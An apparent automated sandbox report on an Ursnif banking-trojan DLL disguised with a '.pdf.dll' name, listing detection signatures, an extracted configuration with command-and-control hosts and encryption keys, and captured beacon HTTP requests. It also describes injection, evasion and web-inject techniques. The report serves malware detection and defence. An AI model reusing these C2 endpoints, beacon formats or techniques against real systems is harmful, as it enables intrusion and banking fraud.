Windows Analysis Report
626a97fea05c8.pdf.dll

Overview

General Information

Sample Name: 626a97fea05c8.pdf.dll
Analysis ID: 617386
MD5: 76f9a5c65f372960c55a3e2d19d211cb
SHA1: 341d52557b6600d3e3fe30a43de94206eb4e4403
SHA256: 713cfe3bc8dd8f8ba3b907d9268d3f4bd40f5a6a681653cc7922bf69a754ee5a
Tags: dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Sigma detected: Execute DLL with spoofed extension
Snort IDS alert for network traffic
Found malware configuration
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Machine Learning detection for sample
Source: 626a97fea05c8.pdf.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 4_2_00EF5FBB
Uses 32bit PE files
Source: 626a97fea05c8.pdf.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000004.00000003.534897078.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.540095400.0000000005D70000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: 626a97fea05c8.pdf.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000004.00000003.534897078.0000000005CC0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.540095400.0000000005D70000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 4_2_008EFD47
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 4_2_008E99BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 4_2_008FBAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 4_2_008E65C2

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 94.140.115.8 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49745 -> 13.107.42.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49750 -> 94.140.115.8:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49750 -> 94.140.115.8:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/LtgGoR4W/2VkXik7fjDcVktkLvg4IApw/X92UzCdVgy/XGxL6WnODxABmAmav/eQYJObhAwpfD/VdmVLoyMEHz/dwiltyOKA4QHrd/HIJmqKTpq7hYAhh7xdD_2/BebjcoubFQh657nc/ksw26clyZ6v7ljU/oLbDPDTt1qYXqZfF_2/Fct2ocSBw/YaWKTOq17vIwu56czhmj/mDU1dku9eqq5aKu5F_2/FjqClysn2ko_2Fsx8SaFZF/ugZkpFnnMo_2B/poGcHSuZrc7hSygj/D8.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/NiEEiC_2F3/2h7kr_2B2M1EBpHcH/ENyHLalFXmOl/_2FTW0ecUVe/3N7nldlK89kw4y/VYeID7sRLB3A_2FAgFg0G/a5El_2BO7WD36Nlp/el4uE7tHR4Z8M9p/QG4TJaEWODl3HaYCH4/kP01txLgC/1iGXgYXBwcTcIgoIP92G/0JSXT0rNb0xnVvZFyXY/gCk_2F7aTYUhOqcRrdrBn4/EZOQnHcHRUgv3/B5BfYkj9/KpyjZ64W8U3keBpCjw85kZ4/8t_2Bri7RNBUNE3Y/8jsFDn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/lAbS1TW8Ry8K_2Fy_2F02/IsWfDHUCh87tGSw4/6lgCxLe1Qs4WPGx/DknDiIGwAkcSSAjTq_/2BfvJx7dx/1hlTGDAg0PRAb8RWrNXa/OnwJqcZ0UkVEA4nNNEX/rU_2BEpbIQ3L_2FTXhvUWT/8ZfWEtxix63AY/iFey05B2/gKLIqEyGvdF_2FQqfOcIngQ/d4nr47OKVK/s16bIA5z3PH2z3706/OF3C_2BAmDzq/p9S3fF0IaVA/8GI4MffuRsVQDp/0oN_2BdvJJV7wESzGZsla/_2FLi.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NANO-ASLV NANO-ASLV
Source: rundll32.exe, 00000004.00000002.600414567.0000000000B43000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.484931733.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.140.115.8/37
Source: rundll32.exe, 00000004.00000002.600414567.0000000000B43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.140.115.8/drew/NiEEiC_2F3/2h7kr_2B2M1EBpHcH/ENyHLalFXmOl/_2FTW0ecUVe/3N7nldlK89kw4y/VYeID7
Source: rundll32.exe, 00000004.00000002.600414567.0000000000B43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.140.115.8/drew/lAbS1TW8Ry8K_2Fy_2F02/IsWfDHUCh87tGSw4/6lgCxLe1Qs4WPGx/DknDiIGwAkcSSAjTq_/2
Source: rundll32.exe, 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: powershell.exe, 00000012.00000003.500324132.00000182D8F5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF1CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 4_2_00EF1CA5
Source: global traffic HTTP traffic detected: GET /drew/LtgGoR4W/2VkXik7fjDcVktkLvg4IApw/X92UzCdVgy/XGxL6WnODxABmAmav/eQYJObhAwpfD/VdmVLoyMEHz/dwiltyOKA4QHrd/HIJmqKTpq7hYAhh7xdD_2/BebjcoubFQh657nc/ksw26clyZ6v7ljU/oLbDPDTt1qYXqZfF_2/Fct2ocSBw/YaWKTOq17vIwu56czhmj/mDU1dku9eqq5aKu5F_2/FjqClysn2ko_2Fsx8SaFZF/ugZkpFnnMo_2B/poGcHSuZrc7hSygj/D8.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/NiEEiC_2F3/2h7kr_2B2M1EBpHcH/ENyHLalFXmOl/_2FTW0ecUVe/3N7nldlK89kw4y/VYeID7sRLB3A_2FAgFg0G/a5El_2BO7WD36Nlp/el4uE7tHR4Z8M9p/QG4TJaEWODl3HaYCH4/kP01txLgC/1iGXgYXBwcTcIgoIP92G/0JSXT0rNb0xnVvZFyXY/gCk_2F7aTYUhOqcRrdrBn4/EZOQnHcHRUgv3/B5BfYkj9/KpyjZ64W8U3keBpCjw85kZ4/8t_2Bri7RNBUNE3Y/8jsFDn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/lAbS1TW8Ry8K_2Fy_2F02/IsWfDHUCh87tGSw4/6lgCxLe1Qs4WPGx/DknDiIGwAkcSSAjTq_/2BfvJx7dx/1hlTGDAg0PRAb8RWrNXa/OnwJqcZ0UkVEA4nNNEX/rU_2BEpbIQ3L_2FTXhvUWT/8ZfWEtxix63AY/iFey05B2/gKLIqEyGvdF_2FQqfOcIngQ/d4nr47OKVK/s16bIA5z3PH2z3706/OF3C_2BAmDzq/p9S3fF0IaVA/8GI4MffuRsVQDp/0oN_2BdvJJV7wESzGZsla/_2FLi.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 94.140.115.8Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8
Source: unknown TCP traffic detected without corresponding DNS query: 94.140.115.8

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424606218.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.472906954.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424163423.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424658030.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424644302.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424536633.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.476686328.0000000004CCC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424457867.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 3340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6636, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 5008, type: MEMORYSTR
Source: Yara match File source: 4.2.rundll32.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e76b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e494a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.601015727.0000000004B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.543939686.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.599055996.00000000048E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.542346452.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475223060.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.544562349.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475254135.0000000004E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Creates a DirectInput object (often for capturing keystrokes)
Source: loaddll32.exe, 00000000.00000002.361072798.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424606218.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545160730.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.472906954.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.545084241.00000267B3B1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424163423.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424658030.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424644302.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424536633.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.476686328.0000000004CCC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424457867.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 3340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6636, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 5008, type: MEMORYSTR
Source: Yara match File source: 4.2.rundll32.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e76b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e494a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.601015727.0000000004B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.543939686.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.599055996.00000000048E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.542346452.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475223060.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.544562349.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475254135.0000000004E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 4_2_00EF5FBB

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: 626a97fea05c8.pdf.dll
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF829C 4_2_00EF829C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF1645 4_2_00EF1645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF4BF1 4_2_00EF4BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EB238 4_2_008EB238
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00903DB0 4_2_00903DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008F154D 4_2_008F154D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008E67CA 4_2_008E67CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FD7F1 4_2_008FD7F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008FFF4D 4_2_008FFF4D
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_008EF2A9 CreateProcessAsUserA, 4_2_008EF2A9
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: 626a97fea05c8.pdf.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Uses 32bit PE files
Source: 626a97fea05c8.pdf.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF4321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 4_2_00EF4321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF190C GetProcAddress,NtCreateSection,memset, 4_2_00EF190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF6D0A NtMapViewOfSection, 4_2_00EF6D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4_2_00EF84C1 NtQueryVirtualMemory, 4_2_00EF84C1
